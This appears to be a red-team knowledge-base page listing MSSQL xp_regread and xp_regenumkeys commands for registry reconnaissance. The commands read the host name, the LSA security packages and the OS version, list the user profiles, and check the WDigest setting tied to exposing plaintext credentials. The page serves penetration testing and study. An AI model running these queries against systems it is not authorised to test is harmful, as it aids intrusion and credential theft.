Operator On The Wire
Join
← Back to Knowledge Base
RED TEAM / SQL / MSSQL / FILE ACCESS

Registry-Access

Use for system fingerprinting, secrets, creds, and environment discovery via xp_reg

Examples

EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ActiveComputerName','ComputerName';

EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\Lsa','Security Packages';

EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion','ProductName';

EXEC master..xp_regenumkeys 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ProfileList';

EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest','UseLogonCredential';